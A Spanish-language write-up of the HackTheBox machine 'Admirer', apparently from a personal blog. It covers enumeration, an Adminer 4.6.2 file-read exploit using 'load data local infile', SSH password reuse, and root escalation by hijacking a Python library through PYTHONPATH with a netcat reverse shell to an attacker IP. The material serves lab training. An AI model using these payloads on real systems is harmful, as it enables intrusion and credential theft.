Borb3d Page

Página para compartir conocimientos

View on GitHub

Admirer WriteUp

Volver al Indice

Comenzamos con la segunda máquina de HTB, en este caso como acaba de ser retirada, les traigo la máquina “Admirer”, ha sido creada por “polarbearer & GibParadox”, cuenta con una dificultad de 5.3 sobre 10, por lo que se encuentra en el rango de “Medium” y tiene una puntuación de 3.4 sobre 5.


# Enumeración

Como normalmente, vamos a lanzar un nmap a los 65535 puertos para enumerar rápidamente los servicios de la máquina.

nmap1

Después vamos a lanzar otro nmap para verificar los servicios y la versión de estos.

nmap2

Vemos que tiene:

Viendo esto, vamos a lanzar la herramienta dirsearch en búsqueda de directorios. Nos encuentra simplemente el directorio “robots.txt” de interés.

dirsearch1

Accedemos al directorio robots y encontramos que existe un directorio llamado “admin-dir” el cual parece basante interesante.

Lo colocamos a ver que contiene y vemos que nos da un error 403(Forbidden).

robots

Pero… Este error 403 no nos impide lanzar una busqueda con dirsearch a ese directorio… Si encontramos algo podríamos acceder a el saltándonos este error.

dirsearch2

¡Perfecto!, hemos encontrado 2 directorios con código 200, descargamos los ficheros y encontramos las credenciales para acceder al FTP.

files

Accedemos al FTP y encontramos 2 ficheros (uno contiene un dump de la BD y el otro un archivo comprimido).

ftp

En el archivo “dump.sql” no encontramos nada pero al descomprimir el otro archivo encontramos varios directorios que parecen un backup de la web.

Entre ellos hay un directorio al que podemos acceder vía web con varios scripts, pero no contienen nada lo suficientemente relevante.

Lanzamos una búsqueda con dirsearch a este directorio y nos encuentra un archivo el cual nos lleva a una aplicación web para conectar con una base de datos.

Probamos credenciales por defecto y otras que hemos encontrado en alguno de los archivos anteriores descomprimidos pero no tenemos acceso.

dirsearch3

adminer

Comprobamos en Google si encontramos alguna vulnerabilidad y/o exploit para esta aplicación (Adminer 4.6.2) y ¡BIEN!, existe una vulnerabilidad para poder acceder a ella sin credenciales.
Creando una base de datos localmente y accediendo a ella a través de esta aplicación podríamos visualizar el contenido.

Dejo el enlace a la página donde encontré la vulnerabilidad: https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool

# Explotación

Dejo por aquí los pasos que he seguido para crear la base de datos en mi equipo, decir que si vosotros no usáis las mismas versiones o aplicaciones que yo pueden variar:

database dbConf

Con esto ya podríamos volver a la aplicación web y acceder con nuestros datos.

dbLogin

Y ¡estamos dentro!

dbOkLog

Ya dentro de la aplicación, accedemos al apartado “Comando SQL” para poder ejecutar nuestra consulta y ver datos que no se deberían ver.

En este apartado lanzamos la siguiente consulta:

load data local infile ‘../index.php’
into table test
fields terminated by “/n”

queryOK

Después de esto solo tenemos que ir a la pestaña “registros”, a la izquierda, para poder visualizar nuestra consulta.

bdCred

Ya tenemos las credenciales, vamos a probar con el servicio SSH por si han reutilizado las contraseñas.

Y parece que SI, conseguimos conectarnos al servidor como el usuario “Waldo”, cogemos la flag de user y seguimos.

userFlag

# Post-Explotación

Vamos a ver como podríamos escalar privilegios por aquí.
Como siempre, vamos a probar con el comando sudo -l para ver que privilegios tenemos como ROOT, y vemos que poseemos este privilegio.
(ALL) SETENV: /opt/scripts/admin_tasks.sh

sudo -l

Examinamos a fondo ese script y vemos que está todo correcto en cuanto a rutas absolutas a los binarios… Pero vemos que en una de las funciones llama a un archivo python del mismo directorio, así que lo revisamos también.

scriptAdmin

Vemos que el archivo llama a una librería, vamos a intentar falsear la ruta de la libreria con PYTHONPATH.

shutil.py

Para comenzar, vamos a elegir un directorio en el que tengamos permiso de escritura para realizar nuestro script, “/tmp” por ejemplo.

import os  # importamos la librería que vamos a utilizar

def make_archive(a, b, c):  # Definimos la función que llama el script original (manteniendo las 3 variables para que no haya error)
    os.system("nc 10.10.15.81 4444 -e '/bin/sh'")  # Le mandamos nuestra reverse shell para que la ejecute

scriptYexec

Abrimos otra consola y la dejamos en escucha por el puerto que colocamos anteriormente (en mi caso 4444).

Lanzamos el comando 'sudo PYTHONPATH=/tmp /opt/scripts/admin_tasks.sh 6' (para que nos coja la ruta de nuestra librería falsa en lugar de la original y poder falsearlo) y le pasamos el parámetro 6 que sería el que ejecuta el script de python (se puede lanzar directamente o después).

flagRoot

y…¡Somos ROOT!